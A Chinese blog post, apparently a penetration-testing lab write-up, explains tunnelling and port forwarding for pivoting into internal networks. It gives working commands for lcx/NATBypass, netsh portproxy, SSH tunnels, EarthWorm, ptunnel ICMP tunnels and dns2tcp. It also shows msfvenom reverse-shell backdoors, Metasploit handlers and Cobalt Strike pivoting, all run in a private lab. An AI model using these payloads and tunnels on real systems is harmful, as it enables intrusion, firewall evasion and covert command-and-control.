目录
介绍
1. 什么是隧道?
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道,DNS隧道,正反向端口转发等)进行操作均失败。那么可以尝试使用ICMP建立隧道,ICMP协议不需要端口的开放,因为其基于IP工作的,所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复,将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)
防火墙只允许ping出站流量,利用ptunnel建立ICMP隧道,从而实现传输数据。
2. 为什么使用隧道?
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截,解决CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。
3. 常用的隧道协议有哪些?
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
4. 隧道与代理的区别
代理是为了解决网络通讯问题,如:我在学校,如何连接在网吧的你?我在中国,如何访问油管?
隧道在代理之上,在建立连接的情况下,如何突破各种网络限制,来建立稳固连接
5. 脑图概览
端口转发
端口映射与端口转发用于发布防火墙内部的服务器或者防火墙内部的客户端计算机,有的路由器也有端口映射与端口转发功能。端口映射与端口转发实现的功能类似,但又不完全一样。端口映射是将外网的一个端口完全映射给内网一个地址的指定端口,而端口转发是将发往外网的一个端口的通信完全转发给内网一个地址的指定端口。端口映射可以实现外网到内网和内网到外网双向的通信,而端口转发只能实现外网到内网的单向通信。
隧道与端口转发的概念不是很清晰,这里参考:https://hsk.oray.com/news/9757.html
nc
关于nc,参见我之前的文章:https://blog.csdn.net/weixin_44288604/article/details/112888661
关于反弹sehll,参见我之前的文章:https://blog.csdn.net/weixin_44288604/article/details/111740527
lcx
最原始的lcx找不着了,在github上搜索,表现较好的是下面这个
项目地址:https://github.com/cw1997/NATBypass
资源列表如下,下载64位的
实验目标:kali获取内网主机的3389
环境拓扑
- win7开启3389远程桌面
- 分别在win7和win2008上运行lcx
实操
- win7执行如下命令
把自己127.0.0.1的3389转发到192.168.42.129的6666端口
.\nb-windows-amd64.exe -slave 192.168.42.129:6666 127.0.0.1:3389
- win2008执行如下命令
把6666端口的流量转发到7777端口
.\nb-windows-amd64.exe -listen 6666 7777
- kali连接win7的3389
kali连接192.168.40.131:7777相当于连接192.168.40.131:6666,相当于192.168.42.128:3389
rdesktop 192.168.40.131:7777
输入正确是账号密码即可连接
netsh
netsh是windows系统自带的一个命令行工具,这个工具可以内置端口转发功能
环境拓扑
实操1
实现:当kali访问win2012的某端口时,可以访问到内网win7的某端口。
演示:当kali访问win2012的6666端口时,可以访问到内网win7的3389端口。
win2012只需要设置为:允许任意主机访问自己的6666端口时,自己就把流量转发给win7的3389端口
- 开启端口转发,命令如下:
添加端口转发的命令
netsh interface portproxy add v4tov4 listenport=6666 connectaddress=192.168.195.138 connectport=3389
查看端口转发的记录表
netsh interface portproxy show all
清除指定规则
netsh interface portproxy delete v4tov4 listenport=6666
清除所有规则
netsh interface portproxy reset
- 访问内网机器
实操2—MSF
实验思路:
- msfvenom生成后门,一旦运行,就自动访问win2012的4444端口
- win2012开启端口转发,只要有人连接自己的6666端口,就转发给kali的4444端口
- kali监听4444端口
不知道为什么,这个实验没做出来,重置了一下网络,新的网络拓扑如下图
后续:经过排查得知,是因为win2012开启了防火墙,导致实验失败。关闭防火墙即可。
操作:
- msfvenom生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.128 lport=6666 -f exe >s.exe
- win2012开启端口转发
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=192.168.239.141 connectport=4444
- kali开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4444
exploit
- 运行木马
- 拿到session
cobalt strike正向连接内网
实验目标:已经使用cs拿下win2012,如何把win2012作为跳板机去访问目标win7
环境拓扑
准备阶段
- 启动CS服务器
- 启动CS客户端
双击start.bat
就行了
- 生成payload,让代理服务器win2012上线
这部分的操作,简单截个图算了。详情参见之前的笔记:语雀地址、CSDN地址
3.1 设置监听器
3.2 生成powshell
3.3 主机上线
实操
- 新建一个tcp的监听器
- 生成exe后门
- 把后门丢到win7上,目标win7运行后门
果然开放了4444端口,那么我们只需要通过win2012即可正向连接到win7
- 连接win7
注意,ip和端口之间是没有冒号的,否则会失败
connect 10.10.1.129 4444
cobalt strike反向连接内网
如果内网靶机有防火墙进行拦截,那么正向连接就会失败,为了解决这个问题,就需要使用反向连接。
即:让内网目标win7反向连接代理服务器win2012
环境拓扑
实操
- 生成监听器
- 生成后门
- win7运行后门,后门就会主动连接到win2012,cs就会得到win2012的新会话
不知道错误原因,先不管了。
- 重置了一下网络,再来操作一遍,发现是第2步中需要指定X64才行
Metasploit Portfwd(端口转发/重定向)
环境拓扑
准备阶段
先拿下win2012
- msf生成后门
msfvenom -p windows/meterpreter/reverse_tcp lport=4455 -f exe >hack.exe
- msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4455
exploit
- 把后门丢到win2012,运行它
实操
转发win2012的远程桌面
- 开启win2012的远程桌面
- 添加端口转发
portfwd add -l 8080 -r 192.168.239.201 -p 3389
- 实现:访问本地的8080端口时,访问到win2012的3389端口
转发win7的远程桌面
需要确认win7开启了3389,否则不能直接搞。
meterpreter > portfwd add -l 5566 -r 10.10.10.131 -p 3389
访问win7的80端口
实现通过访问本地的4477端口,访问到了win7的80端口
portfwd add -l 4477 -r 10.10.10.131 -p 80
方式1:访问 http://localhost:4477
方式2:访问 http://192.168.239.141:4477
方式3:可以直接使用BurpSuite
SSH
SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据。但是,SSH还能够将其他TCP端口的网络数据通过SSH链接来转发,并且自动提供了响应的解密服务。这一过程也被叫做“隧道”(tunneling),这是因为SSH为其他TCP链接提供了一个安全的通道来进行传输而得名,例如SMTP、LDAP这些TCP应用均能够从中得益,避免了用户名,密码以及隐私信息的传输。而此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH的连接,也能够通过将TCP端口转发来使用SSH进行通讯。
SSH端口转发的两大功能
- 加密SSH_Client端至SSH_Server端之间的通讯数据。
- 突破防火墙的限制,完成一些之前无法建立的TCP连接。
SSH本地socks5代理
实现思路:kali连接一台aws的云服务器,通过它访问互联网,突破网络限制。
- 给root设置一个密码
- 编辑ssh文件:
vim /etc/ssh/sshd_config
PasswordAuthentication no
修改为PasswordAuthentication yes
- 添加:
PermitRootLogin yes
- 重启ssh服务:
service sshd restart
- 以账号密码的方式连接云服务器的ssh,如下图:
ssh -qTfnN -D 7070 root@3.112.252.229
-C 为压缩数据
-q 安静模式
-T 禁止远程分配终端
-n 关闭标准输入
-N 建立静默连接,就是建立了连接(不执行登录shell)
-f 将SSH传输放在后台执行
-D 动态转发
- 给kali的浏览器配置一个socks5代理
- 使用此socks代理,就可以访问外网了。
SSH本地端口转发
实现:kali能透过Cent7访问到内网win7的web服务
在kali上执行如下命令:
ssh -L 本地端口:目标IP:目标端口 root@192.168.40.150 -fN
ssh -L 6666:10.10.10.128:80 root@192.168.40.150 -fN
-f 将SSH传输放在后台执行
-N 建立静默连接,就是建立了连接(不执行登录shell)
实现:kali能透过Cent7连接win7的远程桌面
ssh -L 7777:10.10.10.128:3389 root@192.168.40.150 -fN
rdesktop 10.10.10.128:3389
SSH远程端口转发
kali希望能访问到ubuntu的80端口,但是Cent7和ubuntu之间只允许3306端口通信,如何解决?
- 将跳板机Cent7的ssh配置文件:
/etc/ssh/sshd_config
中的GatewayPorts
修改为yes
,没有的话添加此项内容,之后重启SSH。
这个配置的作用是,远程转发后将127.0.0.1改为0.0.0.0,攻击者kali就可以通过指定端口就能访问内网的ubuntu
- Ubuntu开启远程端口转发
实现,任何机器只要连接了跳板机的8866端口,就能转发到Ubuntu的80端口
ssh -R 8866:10.10.10.131:80 root@10.10.10.130 -fN
- 外网的kali可以访问内网的Ubuntu
EarthWorm(EW)
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透,目前工具已经停止更新(此工具被查杀严重)。使用方法在下面的链接中作者已经介绍了,可以参考
下载地址:https://github.com/idlefire/ew
官方网站:http://rootkiter.com/EarthWorm
参数如下:
-s 选择功能类型:
共包含6种功能:
ssocksd:正向代理
rcsocks:反向代理1,流量转发
rssocks:反向代理2,反弹socks5
lcx_listen:反向代理1,流量转发
lcx_tran:端口转发
lcx_slave:端口绑定
-l 指定要监听的本地端口
-d 指定要反弹到的机器 ip
-e 指定要反弹到的机器端口
-f 指定要主动连接的机器 ip
-g 指定要主动连接的机器端口
-t 指定超时时长,默认为1000
正向代理
环境拓扑如下,kali希望访问到内网vm2
思路:win2012开启代理,只有有人连接了自己的9999端口,自己就把它转发走
- win2012开启代理
ew_for_Win.exe -s ssocksd -l 9999 //在9999端口上开启socks代理,ssocksd提供正向代理功能
- kali修改socks代理文件
- kali访问内网Ubuntu的80端口
反向代理
环境拓扑如下,kali希望访问到内网vm2
思路:win7开启反向代理,反弹socks5到win2012,win2012开启反向代理,连接win7,再流量转发功能
- win2012开启代理转发(第一步先做这个,如果先做win7会导致win7反弹失败!)
ew_for_Win.exe -s rcsocks -l 1080 -e 1024
- win7开启反向代理,反弹socks5到win2012
ew_for_Win.exe -s rssocks -d 10.10.10.129 -e 6666
- kali配置代理
常见端口扫描也是可以的
proxychains4 nmap -Pn -sT -sV 10.10.10.128 -F
ICMP隧道-Ptunnel
如果用户可以ping通远程计算机,就可以尝试建立ICMP隧道,将TCP数据通过该隧道发送,实现不受限的网络访问。
参数:
-p 代理服务器地址,即跳板机地址
-lp 本地端口
-da 目标内网IP,即我们的目标机IP
-dp 目标端口,即我们要的目标机端口
-c 网卡编号
-v 显示详细过程,值可以-1-5,-1为不显示,5为最详细
-udp 通过dns协议传输,端口为udp53
-x 进入此隧道密码,如果服务器加该参数,客户端也需要加同样参数和值
-f 指定一个日志文件
网络拓扑如下,攻击者想要实现和目标之间自由通信(目前只能实现ICMP互通)
环境准备
- 目标使用iptables防火墙,不接收来自攻击者的tcp类型数据包
iptables -F //清除规则
iptables -A INPUT -p tcp -s 192.168.40.129 -j DROP //添加规则
iptables -L //查看规则
- 目标开启一个web服务,用来进行测试
- 测试如下
代理可以正常访问
攻击者访问失败
实操
- 代理主机生成一个隧道
sudo ptunnel -x 1234
- 攻击者透过代理主机的隧道,连接到目标的80端口
sudo ptunnel -p 192.168.40.140 -lp 8080 -da 192.168.40.139 -dp 80 -x 1234
DNS隧道-dns2tcp
DNS隧道介绍
什么是DNS隧道?
DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件,因此,DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。
DNS隧道的原理
在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。
DNS隧道分为两种
直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。
区别在于直连模式速度相对快,但安全性相对较差。非直连模式速度相对较慢,但安全性相对较高。大多数情况下都使用中继模式。
(另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。)
dns2tcp介绍
dns2tcp是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发。它分为两个部分,服务端和客户端。服务端运行在inux服务器上,客户端可以运行在linx和 windows上(其他平台没有测试过),编译完成后在服务端上的可执行文件名称为dns2tcp,在客户端(linux)上的名称为dns2tcpc,kali默认安装了二者。下述为主要参数及解释,详情请参考手册。
实操
需要搞个vps就算了,还得搞个域名,太麻烦,操作参见他人的文章吧:https://blog.csdn.net/smli_ng/article/details/106159155
参考
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134264.html